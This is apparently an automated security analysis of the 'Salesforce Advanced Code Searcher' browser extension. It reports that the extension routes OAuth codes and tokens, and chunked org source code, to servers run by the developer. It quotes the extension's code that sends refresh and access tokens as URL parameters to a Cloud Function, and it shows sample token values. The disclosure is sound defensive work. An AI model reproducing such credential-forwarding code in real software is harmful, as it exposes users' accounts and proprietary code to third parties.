Is Salesforce advanced Code searcher safe?
Salesforce Advanced Code Searcher sends Salesforce OAuth credentials and org source code to third-party GCP and Heroku servers.
When a user authenticates, the extension routes the OAuth authorization code to a GCP Cloud Function (us-central1-sf-advanced-code-searcher.cloudfunctions.net) which performs the token exchange server-side and returns the resulting access and refresh tokens. For code analysis features, the extension retrieves Aura component source ZIP files from the user's Salesforce org and uploads them in chunks to a Heroku server (lightninglinter.herokuapp.com). Both servers are operated by the extension developer, not by Salesforce.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Salesforce org source code uploaded to third-party Heroku server
Clicking Lightning Linter pulls all Aura source from your org via the Metadata API, zips it, and uploads it chunk by chunk to a developer-run Heroku server.
Captured in dynamic analysis: your org's full Aura codebase reaches that server.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-319
- Source
- Dynamic sandbox
You click the 'Lint your lightning components now!!' button in the extension's Lightning Linter tab.
This triggers the full retrieval and upload flow.
Retrieves all Aura component source via the Metadata API and uploads the full ZIP to a developer-run Heroku server.
The Heroku server receives your org's complete Aura codebase before returning lint results.
Heroku returned HTTP 404 (route exists, payload rejected as test data). Our dynamic analysis confirmed the content field carries the base64-encoded ZIP chunk. In production, the content field carries real Aura component source.
- Content-Type
- application/json
{ "content": "UEsDBBQAAAAIAA...base64ZipChunk...", "id": "a3f7c2d1-8b4e-4f9a", "partNumber": 1}ZIP chunking and upload loop, lightninglinterDirective.js:236-245
arrayContent.forEach((ele, k) => { var configObj = { url: "https://lightninglinter.herokuapp.com/analyzeFile", headers: { "Content-Type": "application/json" }, contentType: "application/json", method: "POST", data: JSON.stringify({ content: ele, id: fileId, partNumber: k + 1 }) }; promiseArray.push(querySalesforce.callBackgroundScript(configObj));});- Aura component source chunkUEsDBBQAAAAIAA5rOVjHg3sHawAAAIoAAAASAAAA...(base64)
A segment of your Salesforce org's Aura component ZIP, containing Lightning component markup, JavaScript controllers, helpers, and metadata.
- File IDa3f7c2d1-8b4e-4f9a-b2c3-d4e5f6a7b8c9
A randomly generated ID used to correlate chunks for reassembly on the server.
- Part number1
Chunk sequence number, starting at 1. The server reassembles chunks in order.
- Salesforce instance URL (header)https://mycompany.lightning.force.com
Your org's Salesforce domain, sent in the referrerValue request header on the /initiateAuraAnalysis call.
- lightninglinter.herokuapp.com
Developer-run Heroku server. Receives chunked base64 ZIP of Aura source via /analyzeFile, triggers analysis via /initiateAuraAnalysis, returns results via /getResults.
OAuth authorization code routed through developer's GCP server during login
Authorizing sends the OAuth code to a developer-run GCP Cloud Function, which exchanges it for tokens using their client secret.
Confirmed firing automatically on the callback page; tokens return in a base64 redirect URL.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You approve the Salesforce OAuth consent screen, which redirects your browser to the extension's callback page with a one-time authorization code.
The authorization code is single-use and time-limited but sufficient to obtain full OAuth tokens.
Forwards the raw authorization code to the developer's GCP Cloud Function, which does the OAuth exchange and returns tokens embedded in a redirect URL.
The developer's server holds the OAuth client secret and sees both the authorization code and the resulting tokens.
GCP Cloud Function returned a 33-byte body. Endpoint is live and reachable. The function performs OAuth token exchange server-side using the developer's client_secret, then returns a redirect URL containing the access and refresh tokens.
OAuth callback, authorization code forwarded to GCP (callback.js:1-25)
j$(document).ready( => { var urlParams = new URLSearchParams(window.location.search); let authCode = urlParams.get('code'); let state = urlParams.get('state'); let error = urlParams.get('error'); if(error == null && error == undefined) { j$.ajax({ url: "https://us-central1-sf-advanced-code-searcher.cloudfunctions.net/authorizeSalesforce?code=" + authCode + '&state=' + encodeURIComponent(state) }).done(function(res) { if(res.status) { setTimeout( => { // tokens embedded as base64 in redirect URL window.open(res.data.redirectURL + '?authenticationDetails=' + btoa(JSON.stringify(res)), '_self'); }, 5000); } }); }})callback.js base64-encodes the token response into the redirect URL; contentScript_l.js decodes and stores it, plaintext tokens.
- Location
- localStorage key 'SACS_authDetails' (set by contentScript_l.js:10 / factory.js:7-8)
{ "status": true, "data": { "accessToken": "00D5e000000KWEA!AQEAJLe8xMz9V9Xq", "refreshToken": "5Aep861TSS1Wh4D0GmApkXg3VhEh5j2gKy2", "instanceURL": "https://mycompany.my.salesforce.com", "orgType": "mycompany", "state": true }}- us-central1-sf-advanced-code-searcher.cloudfunctions.net
Developer-run GCP Cloud Function. Receives the raw OAuth code each login, exchanges it with the developer's client_secret, returns tokens embedded in a redirect URL.
Salesforce OAuth tokens transmitted to third-party GCP backend
Running a code analysis sends your Salesforce refresh and access tokens as URL parameters to a developer-run Google Cloud Function, captured in dynamic analysis.
The refresh token keeps generating access tokens until revoked in Salesforce.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You click the Run Analysis button in the extension's code search panel.
This initiates the static code analysis flow in the extension.
The extension POSTs your Salesforce instance URL, refresh token, and access token as URL query parameters to the developer's GCP Cloud Function.
The tokens travel in the URL itself, appearing in server access logs, browser history, and any intermediary proxy that logs request URLs.
GCP Cloud Function returned HTTP 503. Endpoint is live and reachable. Dynamic analysis confirmed the tok= and uid= parameters transmitted planted marker values.
- Content-Type
- application/json
Token extraction and URL construction, factory.js:43-57
sendRequest: function { const deferred = $q.defer; const instanceUrl = tokenService.getToken.data.instanceURL const refreshToken = tokenService.getToken.data.refreshToken const userId = tokenService.getToken.data.accessToken const url = `https://us-central1-sf-advanced-code-searcher.cloudfunctions.net/analyzeCode?instanceUrl=${encodeURIComponent(instanceUrl)}&tok=${encodeURIComponent(refreshToken)}&uid=${encodeURIComponent(userId)}`; const configuration = { url: url, config: { contentType: 'application/json', method: 'POST' } } configuration.requestType = 'fetch'; chrome.runtime.sendMessage(configuration, (result) => { if (result) { deferred.resolve(result); } else { deferred.reject; } }) return deferred.promise}- Salesforce org URLhttps://mycompany.my.salesforce.com
Identifies which Salesforce organization you belong to.
- Refresh token5Aep861TSS1Wh4D0GmApkXg3VhEh5j2gKy2
A long-lived credential that can be used to generate new access tokens at any time until you manually revoke it in Salesforce.
- Access token00D5e000000KWEA!AQEAJLe8xMz9V9Xq
The current session credential for your Salesforce account, granting API access.
- us-central1-sf-advanced-code-searcher.cloudfunctions.net
Google Cloud Function operated by the extension developer. Receives instanceURL, refresh token, and access token as URL query parameters on every code analysis request.
What it can do
Permissions this extension asks for, as declared in version 1.30. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on lightninglinter.herokuapp.com
https://lightninglinter.herokuapp.com/
Read and change your data on us-central1-sf-advanced-code-searcher.cloudfunctions.net
https://us-central1-sf-advanced-code-searcher.cloudfunctions.net/
Read and change your data on salesforce.com
https://*.salesforce.com/*
Read and change your data on force.com
https://*.force.com/*
Read and change your data on maxcdn.bootstrapcdn.com
https://maxcdn.bootstrapcdn.com/*
Store an unlimited amount of data in your browser
unlimitedStorage
Where it sends data
Destinations our analysis observed Salesforce Advanced Code Searcher contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- lightninglinter.herokuapp.com
Salesforce Advanced Code Searcher sends data to lightninglinter.herokuapp.com. No other extension we have analysed sends data here.
- us-central1-sf-advanced-code-searcher.cloudfunctions.net
Salesforce Advanced Code Searcher sends data to us-central1-sf-advanced-code-searcher.cloudfunctions.net. No other extension we have analysed sends data here.